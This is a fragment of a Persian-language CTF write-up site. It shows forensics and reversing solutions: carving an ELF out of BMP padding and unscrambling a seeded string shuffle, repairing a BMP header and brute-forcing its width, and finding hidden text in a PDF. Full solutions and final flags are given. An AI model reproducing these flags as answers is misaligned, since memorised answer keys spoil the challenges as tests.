\u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0622\u062e\u0631\u0627\u06cc \u0641\u0627\u06cc\u0644 \u06cc\u0647 \u062a\u0639\u062f\u0627\u062f \u0632\u06cc\u0627\u062f\u06cc \u0628\u0627\u06cc\u062a FF \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647 \u0648 \u0628\u0639\u062f \u0627\u0632 \u0627\u0648\u0646 \u0647\u0645 \u06cc\u06a9\u0633\u0631\u06cc \u0628\u0627\u06cc\u062a \u0627\u0636\u0627\u0641\u06cc \u0648 \u063a\u06cc\u0631 \u0645\u0634\u0627\u0628\u0647 \u0628\u0647 bmp \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647 \u06a9\u0647 \u0645\u0634\u06a9\u0648\u06a9 \u0628\u0647 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 elf \u0645\u06cc\u062a\u0648\u0646\u0646 \u0628\u0627\u0634\u0646. \u0622\u0641\u0633\u062a \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u06cc\u062a \u063a\u06cc\u0631 FF \u0631\u0627 \u062f\u0631 \u0627\u0646\u062a\u0647\u0627\u06cc \u0639\u06a9\u0633 \u0627\u0632 \u0627\u062f\u06cc\u062a\u0648\u0631 \u067e\u06cc\u062f\u0627 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u0633\u067e\u0633 \u0628\u0627 \u06a9\u0645\u06a9 \u062f\u0633\u062a\u0648\u0631 dd \u0627\u0632 \u0627\u0648\u0646 \u0622\u0641\u0633\u062a \u062a\u0627 \u0627\u0646\u062a\u0647\u0627 \u0647\u0645\u0647\u200c\u06cc \u0628\u0627\u06cc\u062a\u200c\u0647\u0627 \u0631\u0648 \u062f\u0627\u062e\u0644 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u062c\u062f\u06cc\u062f \u0628\u0647 \u0646\u0627\u0645 im.data \u0645\u06cc\u200c\u0631\u06cc\u0632\u06cc\u0645.

dd if=out1.data bs=1 skip=$(python -c \"print(0x165336)\") of=im.data\n
\u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0627\u06cc\u062a\u200c\u0647\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634\u060c \u0647\u0631 \u06a9\u062f\u0648\u0645 \u06f3 \u0628\u0627\u0631 \u062a\u06a9\u0631\u0627\u0631 \u0634\u062f\u0646. \u067e\u0633 \u06cc\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0631\u0648 \u062f\u0631\u0633\u062a \u06a9\u0646\u0647 \u0648 \u0627\u0632 \u0647\u0631 \u06f3 \u0628\u0627\u06cc\u062a \u0641\u0642\u0637 \u06cc\u06a9\u06cc \u0631\u0648 \u0646\u06af\u0647 \u062f\u0627\u0631\u0647.
def filter_bytes(input_filename, output_filename):\n    with open(input_filename, 'rb') as infile:\n        binary_data = infile.read()\n\n    filtered_data = bytearray()\n\n    for i in range(len(binary_data)):\n        if i % 3 == 0:\n            filtered_data.append(binary_data[i])\n\n    with open(output_filename, 'wb') as outfile:\n        outfile.write(filtered_data)\n\ninput_filename = 'im.data'\noutput_filename = 'out.data'\nfilter_bytes(input_filename, output_filename)\n
\u062d\u0627\u0644\u0627 \u0641\u0627\u06cc\u0644 out.data \u0631\u0648 \u06a9\u0647 \u0646\u06af\u0627\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645\u060c \u06cc\u06a9\u0633\u0631\u06cc \u0633\u0627\u062e\u062a\u0627\u0631\u0647\u0627\u06cc \u0622\u0634\u0646\u0627 \u0627\u0632 \u0641\u0627\u06cc\u0644 elf \u0645\u06cc\u200c\u062a\u0648\u06cc\u0646\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0648\u0644\u06cc \u0645\u0634\u062e\u0635\u0627 \u0646\u0627\u062f\u0631\u0633\u062a \u0647\u0633\u062a\u0646 \u0648 \u0628\u0647 \u06cc\u06a9 \u0627\u0644\u06af\u0648\u06cc\u06cc \u0628\u0647 \u0647\u0645 \u0631\u06cc\u062e\u062a\u0647 \u0634\u062f\u0646. \u0628\u0627 \u0645\u0637\u0627\u0644\u0639\u0647 \u0628\u06cc\u0634\u062a\u0631 \u0648 \u062a\u0637\u0627\u0628\u0642 \u062f\u0627\u062f\u0646 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0633\u0627\u062e\u062a\u0627\u0631 elf \u0648 \u0647\u0645\u06cc\u0646\u0637\u0648\u0631 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0637\u0648\u0644 \u062a\u0642\u0631\u06cc\u0628\u06cc \u0628\u062e\u0634\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062f\u06cc\u062a\u0627\u06cc \u062f\u0631\u0633\u062a\u06cc \u062f\u0627\u0631\u0646 \u0628\u0647 \u0635\u0648\u0631\u062a \u0645\u062a\u0648\u0627\u0644\u06cc\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 16256 \u0628\u0627\u06cc\u062a\u06cc \u0628\u0647 \u06f1\u06f6 \u0642\u0633\u0645\u062a \u0628\u0631\u0627\u0628\u0631 \u0628\u0647 \u0637\u0648\u0644 1016 \u0628\u0627\u06cc\u062a \u062a\u0642\u0633\u06cc\u0645 \u0634\u062f\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0631\u062a\u06cc\u0628 \u0642\u0631\u0627\u0631\u06af\u06cc\u0631\u06cc \u0627\u06cc\u0646 \u06f1\u06f6 \u0628\u062e\u0634 \u062f\u0642\u06cc\u0642\u0627 \u0628\u0631\u0639\u06a9\u0633 \u0633\u0627\u062e\u062a\u0627\u0631 \u0627\u0635\u0644\u06cc elf \u0647\u0633\u062a. \u067e\u0633 \u0628\u0627 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u062f\u06cc\u06af\u0647\u060c \u0641\u0627\u06cc\u0644 out.data \u0631\u0648 \u0628\u0647 \u06f1\u06f6 \u0628\u062e\u0634 \u0645\u0633\u0627\u0648\u06cc \u062a\u0642\u0633\u06cc\u0645 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u062a\u0631\u062a\u06cc\u0628\u0634\u0648\u0646\u0648 \u0628\u0631\u0639\u06a9\u0633 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0627\u062e\u0644 \u06cc\u0647 \u0641\u0627\u06cc\u0644 \u062c\u062f\u06cc\u062f \u0628\u0647 \u0646\u0627\u0645 corelfv \u0645\u06cc\u200c\u0631\u06cc\u0632\u06cc\u0645. \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u062d\u0627\u0644\u0627 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u06cc\u06a9 elf \u0648\u0644\u06cc\u062f \u0648 \u062f\u0631\u0633\u062a \u0647\u0633\u062a.

\u062d\u0627\u0644\u0627 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u062e\u0631\u0648\u062c\u06cc \u0632\u06cc\u0631 \u0631\u0648 \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645:

#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nint main(int argc, const char **argv, const char **envp)\n{\n  unsigned long v3;\n  unsigned int v4;\n  char v6;\n  int i;\n  char s[40];\n\n  strcpy(s, \"_{f2isfsatutflwa_nh2}__asitib1leefwcuk\");\n  srand(0x123123Du);\n  for ( i = 0; i < strlen(s); ++i )\n  {\n    v6 = s[i];\n    v3 = rand();\n    v4 = strlen(s);\n    s[i] = s[(int)(v3 % v4)];\n    s[(int)(v3 % v4)] = v6;\n  }\n  puts(s);\n  return 0;\n}\n\nint displayhex(char *a1)\n{\n  int i;\n\n  for ( i = 0; i < strlen(a1); ++i )\n    printf(\"%2x \", (unsigned int)a1[i]);\n  return putchar(10);\n}\n

\u0628\u0627 \u0627\u062c\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u062e\u0631\u0648\u062c\u06cc \u0628\u0647 \u062f\u0631\u062f \u0628\u062e\u0648\u0631\u06cc \u0646\u0645\u06cc\u06af\u06cc\u0631\u06cc\u0645 \u0648 \u0647\u0645\u0686\u06cc\u0646 \u0686\u06cc\u0632\u06cc \u0628\u0647\u0645\u0648\u0646 \u0645\u06cc\u062f\u0647: aisb_wfhuwi2sf__af1ek}iuttfa_lens2t{lc \u06a9\u0647 \u0634\u0628\u06cc\u0647 \u0641\u0644\u06af \u0647\u0633\u062a \u0648\u0644\u06cc \u0628\u0647 \u0647\u0645 \u0631\u06cc\u062e\u062a\u0633. \u0627\u06cc\u0646 \u06a9\u062f \u062f\u0631 \u0648\u0627\u0642\u0639 \u0642\u0631\u0627\u0631 \u0646\u06cc\u0633\u062a \u0641\u0644\u06af \u0631\u0648 \u0645\u0633\u062a\u0642\u06cc\u0645 \u0628\u0647 \u0645\u0627 \u0628\u062f\u0647 \u0648 \u0647\u06cc\u0646\u062a \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0686\u062c\u0648\u0631\u06cc \u0641\u0644\u06af \u062a\u0648\u0644\u06cc\u062f \u0634\u062f\u0647. \u062f\u0631 \u0648\u0627\u0642\u0639 \u0641\u0644\u06af \u0627\u0635\u0644\u06cc \u062a\u0631\u062a\u06cc\u0628 \u062d\u0631\u0648\u0641\u0634 \u0628\u0627 \u062c\u0627\u0628\u062c\u0627\u06cc\u06cc\u200c\u0647\u0627\u06cc \u0631\u0646\u062f\u0648\u0645\u06cc \u06a9\u0647 \u062f\u0627\u062e\u0644 \u06a9\u062f \u0645\u06cc\u0628\u06cc\u0646\u06cc\u062f \u0648 \u0628\u0627 \u0633\u06cc\u062f \u0631\u0646\u062f\u0648\u0645 0x123123Du \u0628\u0647 \u0647\u0645 \u0631\u06cc\u062e\u062a\u0647 \u0648 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u0627\u0648\u0646 \u0631\u0634\u062a\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u06a9\u062f \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u0634\u062f\u0647. \u062d\u0627\u0644\u0627 \u06a9\u0627\u0641\u06cc\u0647 \u0645\u0627 \u062f\u0642\u06cc\u0642\u0627 \u0628\u0631\u0639\u06a9\u0633 \u0647\u0645\u0648\u0646 \u06a9\u0627\u0631\u0648 \u0628\u06a9\u0646\u06cc\u0645. \u06cc\u0639\u0646\u06cc \u0647\u0645\u0648\u0646 \u0627\u0639\u062f\u0627\u062f\u0648 \u0628\u0631\u0627\u06cc \u062c\u0627\u0628\u062c\u0627\u06cc\u06cc \u0628\u0627 \u0647\u0645\u0648\u0646 \u0633\u06cc\u062f \u0631\u0646\u062f\u0648\u0645 \u062a\u0648\u0644\u06cc\u062f \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0639\u062f \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u0628\u0631 \u0639\u06a9\u0633 \u0631\u0648\u06cc \u0631\u0634\u062a\u0647 \u062f\u0627\u062e\u0644 \u06a9\u062f \u0627\u0639\u0645\u0627\u0644 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0647 \u0641\u0644\u06af \u0628\u0631\u0633\u06cc\u0645. \u06a9\u062f \u0632\u06cc\u0631 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0631\u0648 \u0628\u0631\u0627\u0645\u0648\u0646 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647. \u0646\u0627\u06af\u0641\u062a\u0647 \u0646\u0645\u0648\u0646\u0647 \u0627\u06cc\u0646 \u0627\u06cc\u062f\u0647 \u0628\u0639\u062f \u0627\u0632 \u06a9\u0644\u06cc \u0622\u0632\u0645\u0648\u0646 \u0648 \u062e\u0637\u0627 \u0648 \u0628\u0631\u0648\u062a\u200c\u0641\u0648\u0631\u0633 \u0646\u0627\u0645\u0648\u0641\u0642 \u0631\u0648\u06cc \u0633\u06cc\u062f \u0631\u0646\u062f\u0648\u0645\u060c \u062a\u0648\u0633\u0637 \u0635\u0641\u0627 \u0635\u0641\u0631\u06cc \u0639\u0632\u06cc\u0632 \u0645\u0637\u0631\u062d \u0634\u062f \u0648 \u0633\u0648\u0627\u0644 \u062d\u0644 \u0634\u062f \u0648 \u0627\u06cc\u0646 \u06a9\u062f \u0647\u0645 \u0645\u062a\u0639\u0644\u0642 \u0628\u0647 \u0627\u0648\u0646\u0647.

import ctypes\n\nlibc = ctypes.CDLL(\"/usr/lib/libc.so.6\")\nlibc.srand.argtypes = [ctypes.c_uint]\nlibc.rand.restype = ctypes.c_int\n\ndef decode(s):\n    s = list(s)\n    libc.srand(0x123123D)\n\n    swaps = []\n    for i in range(len(s)):\n        v3 = libc.rand()\n        v4 = len(s)\n        j = v3 % v4\n        swaps.append((i, j))\n\n    for i, j in reversed(swaps):\n        s[i], s[j] = s[j], s[i]\n\n    return ''.join(s)\n\noriginal = \"_{f2isfsatutflwa_nh2}__asitib1leefwcuk\"\ndecoded = decode(original)\n\nprint(\"Original:\", original)\nprint(\"Decoded: \", decoded)\n

\u0646\u0647\u0627\u06cc\u062a\u0627 \u0628\u0639\u062f \u0627\u0632 \u0631\u0627\u0646 \u06a9\u062f \u0628\u0647 \u0641\u0644\u06af \u0646\u0647\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645.

FLAG

ictf{elf_waifus_best_waifus_2h12lntka}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["ImaginaryCTF","ImaginaryCTF-2024","Forensics","elf"]},{"location":"forensic/writeups/SnappCTF/false-sight/","title":"False sight","text":"

\u0628\u062f\u0648\u0646 \u0641\u0648\u062a \u0648\u0642\u062a \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a hex editor \u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0647 \u0628\u0647

\u06cc\u0647 \u0627\u0633\u062a\u0631\u06cc\u0646\u06af \u0628\u0647 \u0686\u0634\u0645 \u0645\u06cc\u062e\u0648\u0631\u0647 \u0628\u0647 \u0627\u0633\u0645 BGRs

\u0628\u0627 \u0686\u0646\u062f\u062a\u0627 \u0633\u0631\u0686 \u062a\u0648 \u06af\u0648\u06af\u0644 \u0645\u06cc\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0641\u0631\u0645\u062a \u0641\u0627\u06cc\u0644 bmp \u0647\u0633\u062a

\u0628\u0627 \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a bmp \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0641\u06cc\u06a9\u0633 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u062e\u0648\u0631\u062f\u06cc\u0645 \u0628\u0647 \u062f\u0631 \u0628\u0633\u062a\u0647 =))

\u0627\u0632 \u0627\u0648\u0646 \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u06f9\u06f9 \u062f\u0631\u0635\u062f CTF \u0647\u0627\u06cc \u0627\u06cc\u0631\u0627\u0646\u06cc \u0631\u0648 \u0627\u0633\u06cc\u0633 \u0637\u0631\u0627\u062d\u06cc \u06a9\u0631\u062f\u0647

\u0627\u0632 \u0686\u0644\u0646\u062c \u0647\u0627\u06cc \u0642\u0628\u0644\u06cc \u0627\u0633\u06cc\u0633 \u06cc\u0627\u062f\u0645\u0648\u0646\u0647 \u06a9\u0647 \u06cc\u0647 \u0686\u0644\u0646\u062c \u0628\u0648\u062f\u0647 \u06a9\u0647 \u0647\u0645\u06cc\u0646\u062c\u0648\u0631\u06cc \u0628\u0647 \u0641\u0627\u06cc\u0644 \u062a\u0635\u0648\u06cc\u0631\u06cc \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644 \u0645\u06cc\u0631\u0633\u06cc\u062f\u06cc\u0645 \u0648 \u0628\u0627\u06cc\u062f \u0644\u0646\u0641 \u062a\u0635\u0648\u06cc\u0631\u06cc \u0631\u0648 \u062c\u0644\u0648 \u0645\u06cc\u0631\u0641\u062a\u06cc\u0645 \u0648 \u06cc\u0647 \u0639\u06a9\u0633 \u062f\u06cc\u06af\u0647 \u06a9\u0647 \u0686\u0633\u0628\u06cc\u062f\u0647 \u0628\u0648\u062f\u0647 \u0628\u0647 \u0639\u06a9\u0633 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0648 \u062a\u0648\u0634 \u067e\u06cc\u062f\u0627 \u0645\u06cc\u06a9\u0631\u062f\u06cc\u0645

\u067e\u0633 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a exiftool

\u0644\u0627\u06cc\u0646 \u0633\u0644\u06a9\u062a \u0634\u062f\u0647 \u0628\u0647 \u0645\u0627 \u0627\u06cc\u0646 \u0631\u0648 \u0645\u06cc\u0631\u0633\u0648\u0646\u0647 \u06a9\u0647 \u0641\u0627\u06cc\u0644 \u062a\u0635\u0648\u06cc\u0631\u06cc\u0645\u0648\u0646 \u062a\u0627 \u0627\u06cc\u0646\u062c\u0627 \u0628\u06cc\u0634\u062a\u0631 \u0646\u0628\u0627\u06cc\u062f \u0628\u0627\u0634\u0647\u060c \u0627\u0645\u0627...

\u0627\u0645\u0627 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u067e\u0627\u0634\u0648 \u0627\u0632 \u06af\u0644\u06cc\u0645\u0634 \u062f\u0631\u0627\u0632 \u062a\u0631 \u06a9\u0631\u062f\u0647 =)))

\u067e\u0633 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u06a9\u0644 \u0639\u06a9\u0633\u06cc \u06a9\u0647 \u0628\u0627 \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644 \u067e\u0631 \u0634\u062f\u0647 \u0631\u0648 \u067e\u0627\u06a9 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u0627\u0648\u0646 \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644\u0627 \u0631\u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u062f \u0622\u062e\u0631\u0627\u06cc \u0635\u0641\u062d\u0647\u061f

\u0627\u0648\u0646\u0627 \u062a\u0648\u062c\u0647 \u0645\u0646\u0648 \u062c\u0644\u0628 \u0645\u06cc\u06a9\u0646\u0646

\u0645\u062e\u0635\u0648\u0635\u0627 \u06a9\u0647 \u0686\u0647\u0627\u0631 \u062a\u0627\u0646 \u0648 \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a bmp \u0647\u0645 \u0686\u0647\u0627\u0631 \u062a\u0627\u0633

\u067e\u0633 \u062a\u0627 \u0627\u0648\u0646\u062c\u0627 \u067e\u0627\u06a9 \u0645\u06cc\u06a9\u0646\u06cc\u0645 =))

\u062d\u0627\u0644\u0627 \u06a9\u06cc \u062d\u0627\u0644 \u062f\u0627\u0631\u0647 \u0628\u0634\u06cc\u0646\u0647 \u06a9\u0644 \u0628\u0627\u06cc\u062a\u0627 \u0631\u0648 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0646\u0647\u061f

\u0627\u0632 \u0642\u0633\u0645\u062a \u0627\u0648\u0644 \u0647\u0645\u0648\u0646 \u0641\u0627\u06cc\u0644 \u0627\u0648\u0644\u06cc\u0647 \u06a9\u0647 \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a\u0634 \u0631\u0648 \u0641\u06cc\u06a9\u0633 \u06a9\u0631\u062f\u06cc\u0645\u060c \u0628\u0627\u06cc\u062a \u0647\u0627 \u0631\u0648 \u062a\u0627 \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u06f0\u06f0 \u0645\u06cc\u0631\u0633\u06cc\u0645 \u06a9\u067e\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u062c\u0648\u0631\u06cc \u0645\u06cc\u0632\u0627\u0631\u06cc\u0645 \u062a\u0648 \u0641\u0627\u06cc\u0644 \u06a9\u0647 \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a \u0628\u06cc\u0641\u062a\u0647 \u0631\u0648 \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644\u0627

\u06cc\u0647 \u0647\u0645\u0686\u06cc\u0646 \u0639\u06a9\u0633\u06cc \u062f\u0631 \u0645\u06cc\u0627\u062f

\u06a9\u0627\u0645\u0644\u0627 \u0648\u0627\u0636\u062d\u0647 \u06a9\u0647 \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0639\u06a9\u0633 \u0645\u0634\u06a9\u0644 \u062f\u0627\u0631\u0647

\u0628\u0627 \u062e\u0648\u0646\u062f\u0646 \u0641\u0631\u0645\u062a \u0641\u0627\u06cc\u0644 bmp \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u06a9\u062c\u0627 \u0628\u0627\u06cc\u062f \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0631\u0648 \u0633\u062a \u06a9\u0646\u06cc\u0645

\u0628\u0627 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a python \u0645\u06cc\u0632\u0646\u06cc\u0645 \u0647\u0645\u0647 \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0647\u0627 \u0631\u0648 \u0633\u062a \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0631\u0648 \u0639\u06a9\u0633 \u0648 \u062a\u0648 \u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u0641\u0642\u0637 \u0646\u06cc\u0627\u0632\u0647 x \u0639\u06a9\u0633 \u0631\u0648 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u06a9\u0646\u06cc\u0645

\u0686\u0648\u0646 \u067e\u06cc\u06a9\u0633\u0644 \u0647\u0627\u06cc \u062a\u0635\u0627\u0648\u06cc\u0631 \u0627\u0632 \u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a \u062a\u06a9\u0645\u06cc\u0644 \u0645\u06cc\u0634\u0646 \u0648 \u0627\u0631\u062a\u0641\u0627\u0639 \u062a\u0627\u062b\u06cc\u0631\u06cc \u062f\u0631 \u067e\u06cc\u06a9\u0633\u0644 \u0647\u0627 \u0648 \u062a\u0631\u062a\u06cc\u0628\u0634\u0648\u0646 \u0646\u062f\u0627\u0631\u0647

hdr = bytearray.fromhex(\"42 4D 42 42 0F 00 00 00 00 00 7A 00 00 00 6C 00 00 00\")\na = open(\"false_sight\", 'rb').read()[0x16:]\n\nfor i in range(1, 10000):\n    with open(\"res/{}.bmp\".format(i), 'wb') as f:\n        f.write(hdr + i.to_bytes(4, 'little') + a)\n

\u0628\u0639\u062f \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u0639\u06a9\u0633\u0627 \u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u062e\u0648\u0627\u0646\u0627\u0633

","tags":["SnappCTF","SnappCTF-2024","Reverse","BMP"]},{"location":"forensic/writeups/SnappCTF/false-sight/#_1","title":"False sight","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Reverse","BMP"]},{"location":"forensic/writeups/SnappCTF/snapp-report/","title":"Snapp report","text":"

\u0627\u06cc\u0646\u062c\u0627 \u06cc\u0647 \u0641\u0627\u06cc\u0644 pdf \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0628\u0627 firefox \u0628\u0627\u0632\u0634 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u0628\u0627 \u0632\u062f\u0646 \u06cc\u0647 Ctrl+a \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u06cc\u0647 \u0633\u0631\u06cc \u0645\u062a\u0646 \u0647\u0627 \u0647\u0633\u062a \u06a9\u0647 \u0645\u0627 \u0646\u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645

\u062f\u0648\u0631\u0634\u0648\u0646 \u06cc\u0647 \u0633\u0631\u06cc \u0645\u062a\u0646 \u0646\u0648\u0634\u062a\u0647 \u0634\u062f\u0647\u060c \u0627\u0632 \u00ab\u0648\u0644\u06a9\u0627\u0645\u00bb \u0634\u0631\u0648\u0639 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u067e\u0627\u062f \u0633\u0627\u0639\u062a\u06af\u0631\u062f \u0645\u06cc\u0686\u0631\u062e\u06cc\u0645 \u0648 \u0647\u06cc \u06a9\u067e\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u062f\u0631 \u0645\u06cc\u0627\u062f =))

FLAG

SNAPP{_g3n3r4T3_r4nd0m_c0l0r_1n_w4y_7h47_w0rk5_w17h_pdfLaTeX!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Reverse","PDF","PDFLatex"]},{"location":"getStarted/CTF-in-Iran/","title":"CTF\u0633 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646","text":""},{"location":"getStarted/CTF-in-Iran/#ctf_1","title":"\u062a\u0627\u0631\u06cc\u062e\u0686\u0647 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc CTF \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646","text":""},{"location":"getStarted/CTF-in-Iran/#asis","title":"\u0645\u0633\u0627\u0628\u0642\u0647 ASIS","text":""},{"location":"getStarted/CTF-in-Iran/#_1","title":"\u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u0634\u0631\u06cc\u0641","text":""},{"location":"getStarted/CTF-in-Iran/#mapnactf","title":"mapnactf","text":""},{"location":"getStarted/CTF-in-Iran/#_2","title":"\u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u0627\u0631\u0648\u0645\u06cc\u0647","text":""},{"location":"getStarted/CTF-in-Iran/#_3","title":"\u0633\u0627\u06cc\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a","text":""},{"location":"getStarted/CTF-in-Iran/#_4","title":"\u0633\u0637\u062d \u06a9\u06cc\u0641\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646","text":""},{"location":"getStarted/CTF-in-Iran/#_5","title":"\u062a\u06cc\u0645 \u0647\u0627 \u0645\u0637\u0631\u062d \u0627\u06cc\u0631\u0627\u0646\u06cc","text":""},{"location":"getStarted/contribution/","title":"\u0646\u062d\u0648\u0647 \u0647\u0645\u06a9\u0627\u0631\u06cc","text":"

\u0645\u0627 \u0647\u0645\u0647 \u0627\u0632 \u06a9\u0633\u0627\u0646\u06cc \u06a9\u0647 \u0628\u062e\u0648\u0627\u0647\u0646\u062f \u0628\u0627 \u0645\u0627 \u0647\u0645\u06a9\u0627\u0631\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0646\u062f \u0628\u0647 \u06af\u0631\u0645\u06cc \u0627\u0633\u062a\u0642\u0628\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0627\u06cc\u0646 \u0647\u0645\u06a9\u0627\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0631 \u0642\u0627\u0644\u0628 \u0645\u0634\u0627\u0631\u06a9\u062a \u062f\u0631 \u0628\u062e\u0634\u200c\u0647\u0627\u06cc \u0632\u06cc\u0631 \u062e\u0644\u0627\u0635\u0647 \u0634\u0648\u062f:

